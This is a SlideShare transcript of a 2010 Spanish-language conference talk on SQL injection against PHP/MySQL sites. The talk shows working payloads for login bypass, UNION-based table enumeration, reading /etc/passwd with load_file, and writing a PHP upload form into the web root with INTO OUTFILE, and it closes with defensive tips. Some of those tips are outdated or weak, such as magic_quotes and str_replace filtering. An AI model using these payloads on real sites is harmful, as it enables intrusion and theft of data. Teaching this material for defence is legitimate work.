Your SlideShare is downloading. ×
Seguridad WEB:

SQL INJECTION




     Speaker: PUA. Juan Francisco Bosco
    Contact:boscofrancisco@hotmail.com
      Blo...
Historia de SQL
• 1970 Donald Chamberlin en los laboratorios de investigación de IBM. Este
  lenguaje se llamaba SEQUEL (S...
¿SQL INJECTION?
1# TOP TEN




• Vulnerabilidad: Se radica en la capa de aplicacion.

• Error: Mal filtrado en las variables de entradas a...
ESQUEMA
Ataques a la Seguridad



Integridad: Borrado o corrupcion de dato
       • INSERT, DELETE, DROP.

Disponibilidad: Denegac...
0x01- Bypass de Autenticacion (POST)

Codigo Vulnerable:

1.$usuario=$_POST['nombre'];
2.$password=$_POST['pass'];
3.$sql=...
DEMO 1
0x02 – Ataque con UNION (GET)


Codigo Vulnerable:
1.if(isset($_GET['id']) && !empty($_GET['id'])){
2.$id=$_GET['id'];
3.$...
2) Contando campos:


Clausula UNION: Se usa para combinar el resultado de un
número de comandos SELECT en un conjunto de ...
3)   Recoleccion de datos

MySQL contiene variables y funciones que otorgan
informacion al usuario, donde las mismas puede...
4)Information Schema

El soporte para INFORMATION_SCHEMA está disponible
en MySQL 5.0.2 y posterior. Proporciona acceso a ...
4.1)Obtener tablas mediante SCHEMA

Podemos obtener la informacion de todas las tablas en la base
de dato gracias a la vis...
4.2) Obtener columnas mediante SCHEMA.

De la misma manera que obtuvimos las tablas podemos
conocer los nombres de las col...
0x03 Inyecciones SQL que Comprometen
                          al Host

Si el usuario que esta ejecutando las consultas SQ...
Probocando lo que se conoce como PATH DISCLOSURE,
obtenemos el DocumentRoot de la web, para poder leer los
archivos PHP.

...
2) INTO OUTFILE




Esta clausula permite volcar el contenido de una tabla, a un
archivo.
Para poder usarla con exito en u...
Fabricamos la inyección:

SELECT * FROM NOTICIAS WHERE id= -1 UNION
SELECT null,0x484f4c41204a4f494e45412032303130,null
IN...
0x04 SQLi en CMS:
1#
2#
0x04 Las soluciones: Tips

1.   Addslashes()

 $usuario=addslashes($_POST['nombre']);



 $usuario='or 1=1 # output: ' or ...
4.   is_numeric()

 if (is_numeric($_GET['id']){
   echo “Es un entero”;
 }

5.   str_replace()

 $cadena = str_replace ("...
7. Seguir el principio de mínimo privilegio en las
 conexiones con bases de datos.

8. El filtrado debé realizarse en el s...
Muchas Gracias por su
      atención!



        EOF
SQL Injection Joinea 2010
SQL Injection Joinea 2010
Upcoming SlideShare
Loading in...5
×

SQL Injection Joinea 2010

2,733

Published on

Published in: Investor Relations
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
2,733
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
157
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Transcript of "SQL Injection Joinea 2010"

  1. 1. Seguridad WEB: SQL INJECTION Speaker: PUA. Juan Francisco Bosco Contact:boscofrancisco@hotmail.com Blog: http://magnobalt.blogspot.com
  2. 2. Historia de SQL • 1970 Donald Chamberlin en los laboratorios de investigación de IBM. Este lenguaje se llamaba SEQUEL (Structured English Query Language). • 1977 fue rescrito y se denomino SEQUEL/2, y finalmente por motivos legales, termina convirtiéndose en SQL. • 1986, el ANSI adoptó SQL como estándar para los lenguajes relacionales • 1987 se transfomó en estándar ISO • Antes de 1990: Esquema Centralizados • Actualidad: Internet
  3. 3. ¿SQL INJECTION?
  4. 4. 1# TOP TEN • Vulnerabilidad: Se radica en la capa de aplicacion. • Error: Mal filtrado en las variables de entradas a la DB. • Alcanze: Cualquiera puede inyectar codigo SQL que será interpretado por el DBMS, pudiendo comprometer al HOST.
  5. 5. ESQUEMA
  6. 6. Ataques a la Seguridad Integridad: Borrado o corrupcion de dato • INSERT, DELETE, DROP. Disponibilidad: Denegacion de Servio • Consultas pesadas, exploit. Confidencialidad: Obtención de información sensibles. • Bypass de autenticación • Inyección con UNION • Basadas en errores • Blind SQL Injection
  7. 7. 0x01- Bypass de Autenticacion (POST) Codigo Vulnerable: 1.$usuario=$_POST['nombre']; 2.$password=$_POST['pass']; 3.$sql="SELECT * FROM usuario WHERE usuario='$usuario' AND password='$password'"; 4.$login=mysql_query($sql,$conexion); Caso Normal: SELECT * FROM usuario WHERE usuario='admin' AND password='admin123' Caso con inyección de SQL: 'or 1=1-- SELECT * FROM usuario WHERE usuario=''or 1=1-- ' AND password='loquesea'
  8. 8. DEMO 1
  9. 9. 0x02 – Ataque con UNION (GET) Codigo Vulnerable: 1.if(isset($_GET['id']) && !empty($_GET['id'])){ 2.$id=$_GET['id']; 3.$sql="SELECT * FROM conceptos WHERE ID =$id"; 4.$query=mysql_query($sql) 1) Verificando la falla: Podemos provocar distintos comportamientos en una web lo cual nos dará indicios de que la misma es vulnerable. DEMO 1 DEMO 2
  10. 10. 2) Contando campos: Clausula UNION: Se usa para combinar el resultado de un número de comandos SELECT en un conjunto de resultados. Para usarlo nesesitamos la cantidad de campos que tiene el primer SELECT. 1- Con ORDER BY: La forma es ir ordenando la salida de la consulta por el número de posición de cada columna, una por una, hasta que sobrepase el limite de campos. 2- Con UNION: Consiste en poder ir colocando columnas hasta que la sentencia UNION se ejecute correctamente. DEMOSTRACIÓN
  11. 11. 3) Recoleccion de datos MySQL contiene variables y funciones que otorgan informacion al usuario, donde las mismas pueden ser usadas para obtener datos importantes para el atacante. • version() • user() • database() • @@datadir SELECT * FROM NOTICIAS WHERE id= -1 UNION SELEC 1,version(),3
  12. 12. 4)Information Schema El soporte para INFORMATION_SCHEMA está disponible en MySQL 5.0.2 y posterior. Proporciona acceso a los metadatos de la base de datos. Metadatos son datos acerca de los datos, tales como el nombre de la base de datos o tabla, el tipo de datos de una columna, o permisos de acceso.
  13. 13. 4.1)Obtener tablas mediante SCHEMA Podemos obtener la informacion de todas las tablas en la base de dato gracias a la vista, information_schema.tables. SELECT * FROM NOTICIAS WHERE id= -1 UNION SELEC 1,table_name,3 FROM INFORMATION_SCHEMA.TABLES
  14. 14. 4.2) Obtener columnas mediante SCHEMA. De la misma manera que obtuvimos las tablas podemos conocer los nombres de las columnas de una respectiva tabla consultando la vista information.schema.columns SELECT * FROM NOTICIAS WHERE id= -1 UNION SELECT 1,column_name,3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'NAMETABLA'
  15. 15. 0x03 Inyecciones SQL que Comprometen al Host Si el usuario que esta ejecutando las consultas SQL tiene el permiso de FILE, podemos dar uso de las clausulas LOAD_FILE e INTO OUTFILE. 1) LOAD_FILE Nos permite leer un archivo, y obtenerlo como una cadena. SELECT * FROM NOTICIAS WHERE id= -1 UNION SELECT 1,load_file('/etc/passwd'),3
  16. 16. Probocando lo que se conoce como PATH DISCLOSURE, obtenemos el DocumentRoot de la web, para poder leer los archivos PHP. Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/magno/www/joinea/index.php on line 49 Fabricamos la inyección: SELECT * FROM NOTICIAS WHERE id= -1 UNION SELECT 1,load_file('/home/magno/www/joinea/index.php'),3
  17. 17. 2) INTO OUTFILE Esta clausula permite volcar el contenido de una tabla, a un archivo. Para poder usarla con exito en una inyección nesesitaremos, permiso de escritura en algun directorio del DocumentRoot, y las magic_quotes= off. El codigo subido debe ser pasado a Hexadecimal: 0x484f4c41204a4f494e45412032303130: HOLA JOIENA 2010
  18. 18. Fabricamos la inyección: SELECT * FROM NOTICIAS WHERE id= -1 UNION SELECT null,0x484f4c41204a4f494e45412032303130,null INTO OUTFILE '/home/magno/www/joinea/imagenes/joinea.txt' Subiendo un Upload en PHP: <html><form enctype="multipart/form-data" action="" method="POST"><input type="hidden" name="MAX_FILE_SIZE" value="10000000" />Choose a file to upload: <input name="uploadedfile" type="file" /><br /><input type="submit" value="Upload File" /></form></html><?php $target_path = ""; $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); if(isset($_FILES['uploadedfile'] ['name'])){if(move_uploaded_file($_FILES['uploadedfile'] ['tmp_name'], $target_path)) {echo "El Archivo ". basename( $_FILES['uploadedfile']['name']). "Ha sido Subido :)";} else{echo "Hubo un error, intentar otra vez!!";}}?>
  19. 19. 0x04 SQLi en CMS: 1#
  20. 20. 2#
  21. 21. 0x04 Las soluciones: Tips 1. Addslashes() $usuario=addslashes($_POST['nombre']); $usuario='or 1=1 # output: ' or 1=1 Similar: mysql_real_escape_string() 2. Magic_quotes: Habilitar en la configuracion de PHP (php.ini) al valor On. Esta caracteristica es despreciable a partir de PHP 5.3.0 y sera removido en la version 6.0. 3. int() $id=(int)$_GET['id'];
  22. 22. 4. is_numeric() if (is_numeric($_GET['id']){ echo “Es un entero”; } 5. str_replace() $cadena = str_replace ("'", "", $cadena); $cadena = str_replace ("UNION", "", $cadena); $cadena = str_replace ("OR", "", $cadena); 6. Prepared Statements: $mysqli = new mysqli('localhost', 'user', 'pass', 'db'); $stmt= $mysqli ->prepare("SELECT usuario FROM usuarios WHERE usuario=?"); $stmt->bind_param('s', $usuario); $stmt->execute();
  23. 23. 7. Seguir el principio de mínimo privilegio en las conexiones con bases de datos. 8. El filtrado debé realizarse en el servidor en ultima instancia (no confiar en JavaScript, Flash etc). 9. No dar información detallada sobre los errores ▪ “Contraseña incorrecta para el usuario usuario”. ▪ “Error al conectar a la base de datos midb“.
  24. 24. Muchas Gracias por su atención! EOF

×